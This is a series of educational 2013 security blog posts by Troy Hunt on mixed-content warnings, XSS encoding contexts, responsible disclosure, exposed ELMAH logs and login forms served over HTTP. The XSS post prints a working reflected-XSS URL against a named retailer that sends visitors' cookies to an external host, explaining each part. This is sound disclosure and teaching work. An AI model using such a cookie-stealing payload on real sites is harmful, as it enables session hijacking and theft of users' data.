Troy Hunt's Blog

Understanding the risk of mixed content warnings

2013-06-11T06:45:00.001+10:00

Ever see one of these?

Or these?

Or maybe this one?

It means something is wrong with the website – very wrong – yet somehow we seem to keep building websites that do this. The problem, as you’ll see in the video below, is that it jeopardises the security of traffic going backwards and forwards over what otherwise appears to be a secure site, at least in terms of implementing SSL. This can lead to issues such as the theft of identity data, potentially including such personal information as social security numbers. Fortunately there’s a channel to report potentially fraudulent activity except that, well, this video explains it best:

Of course it’s ironic that it’s the Social Security Administration that’s made a bit of a botch of this but it’s an all too familiar scenario. Tesco did it, so did Versa Lift, so did Top CashBack and a heap of others I haven’t previously written about. It’s rampant.

That’s the risk covered, let’s focus on the fixes and they’re all dead easy:

Embed external content explicitly via the HTTPS scheme. If you’re only serving the page over HTTPS anyway then it ensures no slip ups.
Use a protocol relative URL or in other words, embed resources such as the jQuery file in the example above as //ajax.googleapis.com/… Yes, I know it looks weird but it works and it means when the page is loaded over HTTP then the resource will be requested over HTTP. Load the page over HTTPS and the resource embeds over HTTPS.
Test your damn web pages! No seriously, this is a fundamentally basic flaw and as soon as you load the page most browsers will start complaining. Have we – even us developers – become so desensitised to security warnings that we totally ignore them?!

For the curious, as I mention in the video this demonstration was achieved by mounting a man in the middle attack at the proxy level. I used Fiddler as the proxy and Fiddler Script to modify the jQuery file in the OnBeforeResponse event. Whilst all this occurred within my PC, it demonstrates the alibility for it to happen at a proxy server anywhere – or at the internet gateway of your local cafe, or elsewhere in the ISP, or via a wiretap on an enthernet cable or as I’ve shown recently with the Pineapple, via a rogue wireless access point the victim is connected to, possibly even without their knowledge.

Now as with my previous video on the risk of loading login forms over HTTP, many people will ask “Is this really a likely risk?” In fact that’s just the discussion I had with Rob Conery after the aforementioned post as even TekPub follows this pattern. I look at it like this: you implement SSL primarily because you’re concerned about the risk of someone intercepting your traffic. Assuming you acknowledge – and attempt to protect against – this risk, you accept that all the HTTP components of the communication remain vulnerable ergo you need to protect against the SSL anti-patterns mentioned here.

Understanding XSS – input sanitisation semantics and output encoding contexts

2013-05-30T06:19:00.001+10:00

Cross site scripting (henceforth referred to as XSS) is one of those attacks that’s both extremely prevalent (remember, it’s number 2 on the OWASP Top 10) and frequently misunderstood. You’ll very often see some attempt at mitigating the risk but then find it’s easily circumvented because the developers weren’t fully aware of the attack vectors.

Last week someone flicked me over a great example of this after having read my previous post Here’s why we keep getting hacked – clear and present Billabong failures. In that post I pointed out the ease with which you could decorate Billabong’s registration page with the beautiful Miranda Kerr and a slightly stoned looking Bugs Bunny. In this post here, the ramifications of getting XSS wrong means stealing someone’s session and pulling out their personal details, all because of this:

I’ll come back to that, let’s first go back to the title and focus on input sanitisation and output encoding contexts. If XSS is an entirely new concept to you, start by taking a look at my post on it here then come back to this one.

Sanitising user input

The theory goes like this: expect any untrusted data to be malicious. What’s untrusted data? Anything that originates from outside the system and you don’t have absolute control over so that includes form data, query strings, cookies, other request headers, data from other systems (i.e. from web services) and basically anything that you can’t be 100% confident doesn’t contain evil things.

Evil things can be SQL injection, malicious files, attempts to traverse internal directory structures or XSS payloads. So what do you do about untrusted data? You try and filter it out and there are two ways to approach this:

Blacklist: You describe everything you know is bad, for example you don’t allow a <script> tag or quotes. The trick here is that you have to comprehensively come up with everything that you think might be bad and add it to the blacklist. If untrusted data contains one of these bad patterns, you reject it.
Whitelist: You describe everything you know is good, for example letters and numbers. The trick here is that you have to comprehensively come up with everything that you think might be legitimately provided by a user and allow it. If untrusted data is not entirely made up from patterns in the whitelist, you reject it.

Whitelists are almost always preferable because they’re very explicit; only describing what you know to be good is a very discrete way of handling untrusted data. The problem with blacklists is that you don’t know what you don’t know. For example, you decide that double quotes are evil as they could be used to break out of an HTML attribute but later on realise that angle brackets could do the same thing in some browsers even though the HTML would be malformed. Or an entirely new attack vector raises its head.

Whitelists can be very simple, for example if you expect an integer or a GUID for an ID it’s very simple to typecast it and ensure it complies to that pattern. Likewise, a pattern such as a URL or an email address can be assessed against a regular expression rather than just accepting whatever the user provides. Things like people’s names are a little harder (many an Irishman has been rejected by sites that disallow single quotes), but there is much discussion and many examples of regexes that facilitate natural language characters and punctuation. Of course they also need to be conscious of things like non-Latin characters but again, this is an often held discussion with many examples of how to allow the good stuff while keeping out the bad stuff.

So let’s get back to Billabong and look at sanitisation. They follow a pretty tried and (kind of) trusted pattern of repeating the search term in the URL so that when you search for something like “shirt”, you see this:

However, search for something like “<script>” and you’ll get this:

Clearly there’s some sanitisation going on here, it’s just a question of whether it’s sufficient. If we modify that slightly we’ll see that if the leading angle bracket is dropped then the search goes through just fine:

But hang on – why allow a greater than but not a less than? It’s starting to look like tag-blacklisting which per the definition above, is always going to be a bit dodgy. By process of elimination it’s easy to discover which characters are allowed through and beyond the obvious alphanumeric ones, they include :/\’;”%.?

Some of those are punctuation which you might find in a product name someone would legitimately search for, but probably not characters like a double quote, a semicolon or a percent. Perhaps there are edge cases, but as we’re about to see, it’s the sort of thing you want to have a genuine need for before using.

Output encoding contexts

If you’re reading this, chances are you know what HTML markup looks like. For example, a paragraph tag is represented in markup as <p> (this is painfully obvious but bear with me). Thing is though, if you wanted to render that tag into the browser – just like I have here – then the actual markup is <p> where the angle brackets are represented by HTML escape characters. If they weren’t escaped then you’d literally end up with a paragraph tag in the markup and it wouldn’t be visible in the browser.

Let’s go back to Billabong and take a look at the lifecycle of the untrusted data that is the search term. Firstly, it’s actually only rendered into the source code in one location and that’s in JavaScript. When we searched for “shirt”, it ended up in this script block (see the second line):

<script type="text/javascript">
  var keyword = 'shirt';
  var ProductSquareDefault = '/images/placeholder-{0}.jpg';
  var quantityMin = 1;
  var showOutOfStock = false;
  var showProductsWithImageOnly = true;
  var discount = null;
</script>

It then got sent off to an API in the query string: https://au.shop.billabong.com/api/product/GetFiltersBySearchTerm?keyword=shirt&showSaleOnly=false

This API returns a JSON response with the results needed to build up the categories on the left under the search box (“Collections”, “Men”, “Women”, etc.) and then another API is called with the term in the query string again: https://au.shop.billabong.com/api/product/Search?filters=&keyword=shirt&showSaleOnly=false&buildLinks=true

This then returns a whopping big JSON response of nearly 300kb (gzip, people!) with the individual results. All of this is orchestrated by a JavaScript file called search.js (minification, people!) which includes this piece of jQuery syntax:

$('.search-form .searchkwd').val(keyword);

The important thing in the context of output encoding is that this then sets the search term into the text box using the val() method in jQuery. This all happens in the DOM so there isn’t the same opportunity to exploit an XSS risk as if it was just reflected directly into the markup in the same way that we often see search features implemented. Yet there remains a risk…

Earlier we saw the word “shirt” appear in the JavaScript block which raises the question: is there any output encoding happening here? Let’s check by going back to one of the earlier searches which was for “script>”. Here’s what we see:

var keyword = 'script>';

This is where the problem begins because there’s no encoding happening. Earlier on we talked about a greater than sign encoding to > in HTML, what you have to remember is that in JavaScript it’s a totally different syntax and what you need there is \x3c or in other words, this is what the script should look like:

var keyword = 'script\x3c';

That’s now enough to establish there’s an exploitable risk on the site, let’s look at how that might happen.

Exploiting unsanitised data with unencoded output

Remembering that the character :/\’;”%.? are all allowed through the sanitisation and that it looks like they’ll happily be rendered as-is to the JavaScript context, the question now becomes “what can we do with this”? This a site that can be authenticated to and given that authenticated sessions on websites are almost always persisted by authentication cookies, let’s take a look at those. Of course there is a native browser defence against accessing cookies on the client side cookies and I wrote about it recently in C is for cookie, H is for hacker – understanding HTTP only and Secure cookies.

That native defence is the HttpOnly cookie and when a cookie is flagged as such, it can’t be grabbed by JavaScript. However, here are Billabong’s cookies:

There is only one HttpOnly cookie and it’s the ASP.NET_SessionId which is HttpOnly by default. Given this is an ASP.NET app it’s also worth pointing out that were this site to be using the framework’s implementation of forms authentication we’d see a .ASPXAUTH cookie for persisting the authenticated session and it would be flagged as HttpOnly. Instead we see the highlighted CustomerSession cookie which is all that’s needed to steal the session – and it’s not HttpOnly. This is precisely why you’ll often hear people (myself included) say how it important it is to use existing, proven security implementations.

So that tells us enough to know that there’s something useful to be gained by grabbing cookies. Get that from a logged in user and you can become them. Let’s try this URL: https://au.shop.billabong.com/search?keyword=\';location.href="http://hackyourself.troyhunt.com/Cookies/?c="%2BencodeURIComponent(document.cookie);//

You may be able to guess what’s in there but it makes a lot more sense when you see it rendered – without any output encoding – to the source of the page:

var keyword = '\''; location.href = "http://hackyourself.troyhunt.com/Cookies/?c=" + encodeURIComponent(document.cookie);//';

Make sense now? It breaks down into three parts:

Close off the keyword variable assignment and terminate the statement.
Redirect the browser to my website along with all the URL encoded cookies that the browser can access (anything not flagged as HttpOnly).
Comment out the remaining statement (this is the characters normally used to close off the keyword string and terminate the statement).

As a result of this, I now have your cookies and that includes your session ID:

Of course I (or an attacker) need to be able to get a victim to follow a link with the XSS payload in it and make sure it’s a victim that’s actually logged into Billabong at the time, but that’s precisely why we have all the defences discussed above.

Somebody didn’t hack themselves first…

This is precisely the sort of thing I was talking about the other day when I wrote Hack yourself first – how to go on the offence before online attackers do. Here we have three ridiculously simple risks that anyone can identify remotely (and someone obviously did):

Insufficient untrusted data sanitisation
No output encoding whatsoever
Auth cookie not flagged as HttpOnly

This is a really good example of how multiple independent risks can be chained together to create a single exploit. It also illustrates why each of those risks, whilst they might seem small and insignificant in isolation, are actually extremely important. Of course it’s entirely possible the developers weren’t aware of these and didn’t know what to look for in the first place, indeed that’s why I wrote the aforementioned post on hacking yourself and will be talking much, much more about this in the future. I thought this was a great example why.

Disclosure

This week I wrote about The responsibility of public disclosure and the very disappointing responses I often have when doing my darndest to privately reach out to the owners of at-risk websites. Conversely, disclosures that went public straight away and got press resulted in very swift action and benefited those at risk and those who could do well to learn from the experience (namely other developers). I then laid out what IMHO are very practical, sensible guidelines I follow when writing about any risk.

In this case, it’s hardly a smoking gun and not something you can go out and do immediate damage with, it’s certainly not a Black and Decker case where there are public logs with user credentials in them. I reached out to Billabong via twitter (yes, it’s a manned account) three times, firstly on Sunday and got no response then on Tuesday then again on Wednesday. No response. Zip. Nada. Again.

Disclosure is indeed hard.

The responsibility of public disclosure

2013-05-29T06:38:00.001+10:00

There’s this debate that goes round and round about a process that’s commonly known as responsible disclosure or in other words, notifying the owner of a system that their security sucks and giving them the opportunity to fix it rather than telling the great unwashed masses and letting them have at a vulnerable system. The theory goes that responsible disclosure is the ethical thing to do whilst airing website security dirty laundry publicly makes you an irresponsible cowboy, or something to that effect.

But of course these things are not black and white. On a daily basis I’ll see tweets about how a website is storing credentials in plain text: “Hey [insert name here], what’s the go with emailing my password, aren’t you protecting it?”. Is this “responsible”? I think it’s fair to say it’s not irresponsible, I mean the risk is obvious, right?

How about security risks such as an XSS flaw which might be a little more grey, but is still shared frequently in public? It’s not exactly going to land you the mother lode of sensitive data in a couple of clicks, but it could be used as part of a more sophisticated attack. Or move right on to the other end of the scale where serious flaws lead to serious breaches. It might be default credentials on an admin system or publicly accessible backups, the point is it’s in another realm of risk and impact altogether.

Anyway, the reason for this post is that a number of events over recent times have given me pause for what I consider responsible disclosure. These events are numerous and include incidents where I’ve ticked every responsibility box in the book and incidents where I’ve been accused of being, well, a cowboy. I wanted to capture – with as much cohesion as possible – what I consider to be responsible disclosure because sure enough, I’ll be called on this again in the future and I want to have a clear point of view that simply won’t fit into 140 characters.

I’d like to start with two disclosure stories that took very different tacks with different outcomes for both the sites and me personally. Here’s what happened:

Disclosure story 1: Westfield

Two years ago I wrote about Find my car, find your car, find everybody’s car; the Westfield’s iPhone app privacy smorgasbord. In short, the Westfield shopping centre here in Sydney down at Bondi had an app to help you find your car but it readily disclosed the license plate of every vehicle in the centre’s 2,550 car spaces via an improperly protected JSON feed. Oops.

This went straight up onto my blog and subsequently, straight into the national media. I posted it in the morning and just a few hours later the system was offline. Shortly after that I had a call from the (rather sheepish) developers of it in the US. By mid-afternoon the General Manager had commented on my blog post and later made contact personally. He called me that night and we had a very constructive discussion; there wasn’t any anger or malice, it was entirely “Holy shit, this isn’t cool, how do we fix it” which IMHO, was entirely the correct response as it lead to the system getting fixed very quickly.

tl;dr: the risk was removed almost instantly, the developers were open and receptive, the management was appreciative and hopefully developers everywhere got to learn a thing or two about securing their APIs. Perhaps most importantly though, at-risk customers were spared as quickly as possible from the potential ramifications of disclosing their personal movements.

Disclosure story 2: Black and Decker

This is very timely as it all took place last week. As I wrote about just yesterday in Security is hard, insecurity is easy – demonstrating a simple misconfiguration risk, Black and Decker had exposed ELMAH logs. Their unfortunate architecture decision to store credentials in cookies (you heard me) meant these were recorded in the logs which numbered 50,000+. So here we have a veritable treasure trove of usernames, passwords, IP addresses, request headers, internal code and other titbits – clearly something to be disclosed privately and obviously given the significance they’d take it seriously and respond promptly. Or so I thought.

After recording the video for the aforementioned post on Monday afternoon last week (these are all Sydney times), I quickly reached out to Black and Decker on Twitter:

I didn’t hear anything back over the next few hours but given their Twitter account apparently doesn’t come online until 8am in Maryland (22:00 for me), that’s not surprising. Nearly an hour after they should have come online and still no contact so I send an email after finding a support address on the website:

The next morning I get up and there’s a DM waiting for me that had come in at 04:12:

Great! So I write up a response about checking their ELMAH and… can’t send, not following. Great, back to public Twitter then:

No response a few hours later so it’s back to the masses to try and get some help:

Night comes and goes, still no response so I try again the next day:

It’s now 38 hours since I’ve tried making contact through two different channels, they know there’s “a serious security vulnerability” as they’ve DM’d me (without a follow-back so I can respond privately) and I still can’t get through. Time to go local and see if someone down here can help:

The day passes and nobody down here responds then a friendly Twitter follower suggests contacting the admin address on the DNS record so it’s back to the email again:

Still nothing come through overnight, let’s give Twitter another go a put a bit more urgency into it:

Another friendly follower suggests using LinkedIn to find someone so I jump over there and manage to find an “Information Technology and Risk Management Executive” who actually has a common previous employer to me and several common contacts. This looks like a winner:

This is now the 9th time I’ve tried to get in touch with Black and Decker. Finally someone from Microsoft responds via Twitter and advises they have a relationship with Black and Decker. I privately email their @microsoft.com address on the evening of the 23rd (now the 10th contact) including the ELMAH Securing Error Log Pages link and they promptly pass it on. Come the morning of the 24th, here’s what happens:

Success! Looks like I’ve finally gotten through! Except, well, I hadn’t really:

This is a little issue that came up in my original post on session hijacking with Google and ELMAH and it’s because the handler is registered globally yet explicitly secured only when it appears in the root. It’s a simple fix that’s (now) explained very clearly on the ELMAH site (which I’d sent them), the handler just needs to be registered beneath the location in which it’s used.

So the 11th contact goes out and it’s back to Microsoft because I still haven’t had any personal contact from Black and Decker. I had a response from Microsoft just 9 minutes later even though it was about 19:30 local so kudos to them for their proactivity. Remember, this was all on the morning of the 24th (Friday last week) but by late that evening my time ELMAH was still accessible. Granted, it was evening over in the US but we’re now more than 100 hours into this saga.

Finally, come Saturday morning, ELMAH is secure. That’s four and a half days of time wasted from initial contact to securing the risk. Remember, this involved customers’ usernames and passwords on public display, no doubt in many cases the same ones they use for their email or to do their banking.

4 days after everything was resolved and 9 days since I first raised the risk, I’ve also not had any response from Black and Decker. Zero. Zip. Nada. Not a “Thanks mate” nor a “Mighty nice of you to point this out privately”, no “How might we fix this?” or “Is there anything else we should look at?”, just absolute silence. Now I don’t privately disclose in order to achieve any sort of personal benefit, but by my moral compass when you do someone a favour – particularly one that could save them a great deal of inconvenience – a little gratitude in response goes a long way.

This incident plus the Westfield one and literally dozens of others – some I’ve written about, many I’ve not – lead me to wonder: what circumstances predicate themselves to private disclosure? When is public a better option? I broke it down into three measures, let me explain.

1. What is the purpose of disclosing the risk?

Particularly when a public disclosure lands on the front page of the news and consequently on the CTO’s (or even CEO’s) desk, inevitably the question comes up – why’d he do it? What’s in it for him? What does this guy want from us?

On numerous occasions, after making a public disclosure I’ve had private responses which clearly indicate the sender is under the impression that I’m after money. You can almost read “Ok, how much do you want to help us fix this thing?” between the lines of an otherwise polite but curt response. This can never be the intent of disclosure, doing this would amount to nothing less than running an extortion racket.

The purpose cannot be self-serving, when this is the case there’s nothing to stop you from running around calling out every single vuln you find and to hell with the consequences. Whilst there’s unarguably a reputation boost from a carefully constructed public disclosure, there has to be a “greater good”.

The single most significant beneficiary of public disclosures I make are software developers. I want to help these guys understand the ins and outs of website security and nothing gets their attention more than publicly calling out examples. But just as importantly, you have to help them understand why the risks are, well, risks. Also just as importantly, you need help them understand how to fix those risks, not just stand there and give a “Ha Ha” Nelson Muntz style, that’s really not going to help anyone.

Of course the other beneficiary is those who would be impacted if the risk was exploited. If disclosing the risk will lead to the site owner rectifying it before customers can be adversely impacted, then that’s a good thing. Which leads me neatly to the second point.

2. Who is the victim if it’s exploited?

When a vuln is disclosed, naturally there is a risk that someone will then exploit it. Who is impacted if that happens is extremely important because in the scheme of exploited website risks there are really two potential victims: the users of the site and the site owner.

In this context, website users are innocent parties, they’re simply using a service and expecting that their info will be appropriately protected. Public disclosure must not impact these guys, it’s simply not fair. Dumping passwords alongside email addresses or usernames, for example, is going to hurt this group. Yes, they shouldn’t haven’t reused their credentials on their email account but they did and now their mail is pwned. That’s a completely irresponsible action on behalf of those who disclosed the info and it’s going to seriously impact ordinary, everyday people.

On the other hand, disclosing XSS or TLS flaws doesn’t pose an immediate threat to consumers, an attacker still needs to go out and weaponise the risk. This might involve the attacker constructing phishing scams or organising themselves to the extent that they can actually go and sniff packets from at-risk users. Of course this happens, but it takes some effort, at least enough effort so that the site owner can fix or disable the feature in advance.

On the other hand, risks that impact only the site owner are, in my humble opinion, fairer game. The site owner is ultimately accountable for the security position of their asset and it makes not one iota of difference that the development was outsourced or that they rushed the site or that the devs just simply didn’t understand security. When the impact of disclosure is constrained to those who are ultimately accountable for the asset, whether that impact be someone else exploiting the risk or simply getting some bad press, they’ve only got themselves to blame.

3. What is the likelihood of the risk being fixed?

There are many instances on this blog where I’ve written about poor security. There are many instances not on this blog where I’ve privately written to website owners about poor security. Overwhelmingly, risks I’ve disclosed publicly have been taken seriously and equally overwhelming, risks I’ve disclosed privately haven’t been. There are exceptions, but there is no arguing the pattern and it’s exemplified by the Westfield and Black and Decker examples I opened with.

When a risk is disclosed publicly, the website owner is on notice. There is no arguing the increased visibility public disclosure creates and there is also no arguing that it expedites the remediation process on behalf of the site owner. Partly this is due to the increased likelihood of the risk being exploited and partly it’s because in the face of public naming and shaming, the site owner is somewhat compelled to respond.

The other thing that tends to happen when a risk is made public is that the one lone voice that was the discloser suddenly becomes a chorus of like-minded individuals. For example, this tweet has now been RT’d over 2,100 times and as you’ll see from the responses, generated an awful lot of noise about the woeful state of Tesco’s security. You can’t ignore that sort of pressure (certainly the ICO didn’t) and without doubt it increases the pressure on an organisation to address their security.

Moving forward

I hope this gives some insight into my personal view of disclosure, I wouldn’t have approached Black and Decker any differently (it doesn’t satisfy rule 2 on victim impact) and likewise I wouldn’t have approached Westfield any differently (the results speak for themselves). Sometimes people will have views that differ but frankly, if I can satisfy those measures I’ve described above then I can sleep at night with confidence that on balance, security on the web has benefited.

Security is hard, insecurity is easy – demonstrating a simple misconfiguration risk

2013-05-28T08:26:00.001+10:00

One could argue that security is hard. Not all aspects of it, mind you, but the prevalence of website hacks would seem to indicate that plenty of people are struggling to get it right.

On the other hand, insecurity can be very easy. What I mean by this is that sometimes it can be the smallest change to a website that blows the security wide open.

Last week someone passed me a private note about Black and Decker, or more to the point, they passed me a link to an unsecured ELMAH log. For the uninitiated, ELMAH logs and their discovery via Google is something I’ve written about before. In fact in this very case it was someone simply searching for some info on ELMAH that lead to this discovery – it’s that easy.

Now I want to stress that this is not intended to be all about Black and Decker and before posting this I did privately contact them and they have now correctly secured the logs. In fact there are tens of thousands of Google results for publicly exposed ELMAH logs so clearly this is a very prevalent risk. Let me first share the video on what you can do with exposed ELMAH logs then I’ll come back around to the point of this post:

That should put things into context regarding the risk of exposed ELMAH logs and it goes well beyond just session hijacking. For example the risk includes access to:

Customer email addresses as they’re stored in the cookie
IP address of users (including of individual customers per the previous point)
Passwords (these are also sometimes stored in cookies)
Referrers (discloses entry points into the site)
Any other data on the site that is accessible if the session can be hijacked

Keep in mind that there are tens of thousands of log entries in this particular site so there’s quite a profile an attacker could have built up.

Here’s the point I want to make: a frankly massive security hole like exposed ELMAH logs can occur as a result of the smallest configuration change and it begs the following questions:

Is there any continuous security scanning of the site? This was a very basic error and in fact my own very basic ASafaWeb scanner could have caught this on a daily scheduled scan and reported it within 24 hours of the risk occurring. Other commercial products could have identified a far broader range of risks but the point is that security scanning needs to be continuous, not just a one off, not on an annual basis, not just on major changes but all the time.

Who can release changes? You’ve gotta wonder if a case like this was just a junior dev not realising what they were doing. Mind you, I’ve seen plenty of experienced devs make similar mistakes but it begs the question: just how easy is it to slip something through into a production? Is anyone actually overseeing the process? Or does one person have a few beers on a Friday afternoon and push the “publish” button?

What’s the post-release review process? It’s extremely easy for configuration related vulnerabilities to slip through during the release process. For example a developer just wants to quickly check the details of an obscure error in a production environment so they release with verbose errors (i.e. turn off custom errors in ASP.NET) and promise themselves they’ll lock it down later. The release process should ideally catch this and set off all sorts of alarms.

Are you contactable for when things go wrong? I hadn’t planned on including this section originally but given the way things played out (more on that another time), it does illustrate an important point. It was extremely difficult to get in touch with anyone from Black and Decker using social media and published email addresses and I eventually got through to them in a very round-a-bout fashion. It’s very hard for people to do the right thing and disclose privately when they can’t get in touch with you!

Black and Decker presented a good opportunity to illustrate the risk because of their sheer scale. This is a multinational organisation pulling in $6B a year and employing 27,000 people and something so simple slipped past them, is it any wonder that so many companies with such fewer resources struggle? And I’ll stress again – there is (unfortunately) nothing very unique about them having a risk of this nature – it’s alarmingly common as it’s so simple to do. Insecurity is indeed, easy.

Talking with Scott Hanselman on honeypots, pineapples and SSL

2013-05-27T18:14:00.001+10:00

For many of you, Scott Hanselman will need no introduction and is a very familiar face, voice and writer. Among the many good things that Scott does to support the web development community (and that’s not just the Microsoft folks either), he’s also the man behind the Hanselminutes podcast which I was very happy to join him on recently. In fact this remains one of the very few podcasts where I actually listen to every episode – regardless of the direct relevance to me – simply because it’s delivered in such a professional manner and I know I’m going to learn something each time.

The podcast has gone out under the title Are you secure? WiFi Honeypots, Pineapples and SSL with Troy Hunt which is pretty self-explanatory. As per the title, we mostly discuss the risks presented by using public wifi plus the importance of HTTPS for those of us who are building web apps. Let me share some supplementary material which I’ve either touched on in that talk or will be of relevance to interested listeners:

There’s a lot more related content beneath those but that’s a good starting point. I hope you enjoy the podcast!

Your login form posts to HTTPS, but you blew it when you loaded it over HTTP

2013-05-20T21:46:00.001+10:00

Here’s an often held conversation between concerned website user and site owner:

User: “Hey mate, your website isn’t using SSL when I enter my password, what gives?!”

Owner: “Ah, but it posts to HTTPS so your password is secure! We take security seriously. Our measures are robust.” (and other random, unquantifiable claims)

Loading login forms over HTTP renders any downstream transport layer security almost entirely useless. Rather than just tell you what’s wrong with this, let me show precisely why this is with a site that implements this pattern:

How’s that for simple?! What people forget about SSL is that it’s not about encryption. Well that’s one feature of secure sockets, another really essential one is integrity insofar as it gives us confidence that the website content hasn’t been manipulated. Anything you load over an HTTP connection can be easily changed by a man in the middle which is why it’s absolutely essential to load those login forms over a secure connection. OWASP is very specific about this in part 9 of their Top 10 web application security risks and summarise it well in the transport layer protection cheat sheet:

The initial login page, referred to as the "login landing page", must be served over TLS. Failure to utilize TLS for the login landing page allows an attacker to modify the login form action, causing the user's credentials to be posted to an arbitrary location.

It’s not just Woolworths doing this, in fact it’s extremely common and you’ll see it on GoDaddy:

On Pandora:

And even on the Financial Times:

I’m calling out these simply because they’re high-profile sites yet they all load the login forms over HTTP and post to HTTPS. Why aren’t they implementing SSL correctly? Most likely convenience; customers can login direct from the homepage and they can have it delivered over HTTP. Mind you Pandora links off to a login page so why they couldn’t just serve that securely to begin with is a bit of a mystery.

So how should it be done? Load the login form over HTTPS, either by linking to a dedicated login page or popping it up in a separate window (although there’s a UX argument against this). Even better, just load the whole site over HTTPS! Yes, there are some barriers to HTTPS across the board (managing certs in web farms, dependencies on assets from third parties, impact on CDNs, etc) but it sure solves the login form issue. Check out Netflix’s approach – straight into HTTPS, job done!

The other issue with the examples above is that potential manipulation of the content aside, missing HTTPS on the login form leads to exactly the discussion this post opened with – users not believing their credentials are protected. All the messaging we’ve been delivering to website users since the early days of the web about checking for the padlock in the browser address bar goes down the drain because it’s simply not there! There’s no assurance that their credentials will be protected and it’s a real shame to dilute such an important security message.

As for how the exploit in the video works, it’s just a simple Fiddler script to inject the keylogger before the body tag closes off. The keylogger itself is over on Google Code, the only code I wrote to incorporate it was the script tags you saw at the end of the video and the “Hack Yourself” website which receives the logged keys. It really is that simple.

Whilst Fiddler is good for demonstration purposes, clearly an actual weaponised attack would work differently but the principle is the same: When unencrypted traffic passes through a node on the network – NIC, ethernet cable, router, proxy, ISP, etc. – it may be observed or manipulated by an attacker. This isn’t theoretical, there are many precedents such as the Tunisian government harvesting Facebook credentials en mass.

This is all a bit odd really, I mean these sites have gone to the effort of implementing some SSL but then blown it by loading those login forms over HTTP. As we saw with Woolworths, posting over a secure connection is completely useless if there’s no integrity in the login form itself, an attacker may already have the credentials by then if the connection is compromised which is the very risk they all implemented SSL to protect from in the first place!

Hack yourself first – how to go on the offence before online attackers do

2013-05-16T06:34:00.001+10:00

The unfortunate reality of the web today is that you’re going to get hacked. Statistically speaking at least, the odds of you having a website without a serious security risk are very low – 14% according to WhiteHat’s State of Web Security report from a couple of weeks ago. Have enough websites for long enough (as many organisations do), and the chances of you getting out unscathed aren’t real good.

There’s this great TEDx talk by Jeremiah Grossman titled Hack Yourself First where he talks about the importance of actively seeking out vulnerabilities in your own software before the evildoers do it for you. In Jeremiah’s post about the talk, he makes a very salient point:

Hack Yourself First advocates building up our cyber-offense skills, and focusing these skills inward at ourselves, to find and fix security issues before the bad guys find and exploit them.

I love this angle – the angle that empowers the individual to go out and seek out risks in their own assets – as it’s a far more proactive, constructive approach than the one we so often see today which is the “after it breaks, I’ll fix it” approach. Perhaps that’s not always a conscious decision but it all too often turns out to be the case. It also advocates for the folks writing our apps to develop the skills required to break them which is a big part of what I’ve been advocating for some time now and features heavily in many posts on this blog as well as throughout the Pluralsight training I recently released. If developers do not understand the risk – I mean really understand it to the point where they know how to exploit it – then you’re fighting an uphill battle in terms of getting them to understand the value of secure coding.

It’s not just the dedicated security folks talking about hacking yourself first. The other day I was listening to Scott Hanselman talking about WordPress security on his podcast and he made the following point:

I know when I’m writing code I’m not thinking about evil, I’m just trying to think about functionality.

Which of course is perfectly naturally for most developers – we build stuff. Other people break stuff! But he goes on to say:

When was the last time I sat down and spent a day or a week trying to break my site?

And we’re back to hacking yourself first or in other words, making a concerted attempt to find vulnerabilities in your own code before someone else does. As Jeremiah referred to it, building up cyber-offense skills for developers. Developing the ability to detect these risks is easy once you know what to look for, in fact many of them are staring you right in the face when you browse a website and that’s what I want to talk about here today.

Let me share my top picks of website security fundamentals that you can check on any site right now without doing anything that a reasonable person would consider “hacking”. I make this point for two reasons: firstly, you really don’t want to go messing up things in your own live site and testing for risks such as SQL injection has every chance of doing just that if a risk is present. The other reason is that by picking non-invasive risks you can assess them on other peoples’ sites. I’ll come back to why I’m saying this and the context it can be used in at the end of this post, the point is that these are by no means malicious tests, think of them as the gateway drug to identifying more serious risks.

This is going to be a lengthy one so let me give you a little index to get you started:

Lack of transport layer protection for sensitive data
Loading login forms over an insecure channel
Secure cookies
Mixed mode HTTP and HTTPS
Cross Site Scripting (XSS)
Password reminders via email
Insecure password storage
Poor password entropy rules
Denial of service via password reset
HTTP only cookies
Internal server error messages
Path disclosure via robots.txt
Sensitive data leakage via HTML source
Parameter tampering
Clickjacking and the X-Frame-Options header
Cross Site Request Forgery (CSRF)

Remember, every one of these is remotely detectable and you can find them in any website with nothing more than a browser. They’re also web platform agnostic so everything you read here is equally relevant to ASP.NET as it is PHP as it is Java – there are no favourites here! I’m going to draw on lots of examples from previous posts and live websites to bring this back down to earth and avoid focussing on theory alone. Let’s get into it.

1. Lack of transport layer protection for sensitive data

We’ll start off one that’s easy to observe and manifests itself in several different ways. When we talk about HTTPS, we’re talking about a secure transport channel and as I’ve written before, it’s about more than just encryption. In fact HTTPS gives us assurance of identity (we know who we’re connecting to), it ensures data integrity (we know the content hasn’t been modified) and finally, it gives us privacy (the data is encrypted and can’t be read by others).

Observing HTTPS is simple as it’s right up there in the address bar:

Any time any of those three HTTPS objectives are required – assurance, integrity, privacy – HTTPS needs to be there. There are several common HTTPS-misuse scenarios but clearly the most obvious one is when it simply doesn’t exist at all. We saw this recently with Top CashBack where they allowed for registration – including password transmission – without any transport layer protection whatsoever:

Confidential information such as bank account info, passwords and other data which should not be publicly accessible must be sent over HTTPS. Failure to do this opens up the requests to interception and eavesdropping by a third party at many, many points in the communication chain. Have a read of my post on The beginners guide to breaking website security with nothing more than a Pineapple if you’re not quite sure how that might be possible.

2. Loading login forms over an insecure channel

As OWASP talks about in part 9 of the 10, HTTPS is about more than just “do you or don’t you have it”, it’s about doing it properly. Indeed this is why they refer to it as “insufficient transport layer protection”. If a page isn’t loaded over HTTPS then you have no confidence in the integrity of it. In the aforementioned link, I pointed out how the Tunisian government had harvested Facebook credentials because the logon form could be loaded over HTTP. This meant that the state run ISPs could inject their own script into the page to siphon off credentials on submit. Nasty.

Detecting insufficient use of HTTPS is easy – you won’t see the HTTPS scheme in the address bar! If you see a logon form and the address starts with http:// then that’s wrong. Here’s an example courtesy of Singapore Airlines:

This may look the same as the previous section but here’s the difference:

<form id="headerLoginForm" action="https://www.singaporeair.com/kfHeaderLogin.form" method="post" autocomplete="off">

It posts to an HTTPS path. Strictly speaking, the credentials are encrypted when they’re posted but by then it’s too late – the login form has already been loaded over an insecure channel and an attacker has already (potentially) injected their own keylogger into the page.

On occasion, you’ll also see a form loaded into an iframe within an HTTP page. The problem, of course, is we come back to integrity again: there is no guarantee that the HTTP page that embeds the iframe hasn’t been manipulated. Sure, when everything goes just right then the login form is loaded from a secure server, but when it doesn’t then you end up with an attacker loading their own login form that looks just like the real one and the victim is none the wiser.

3. Secure cookies

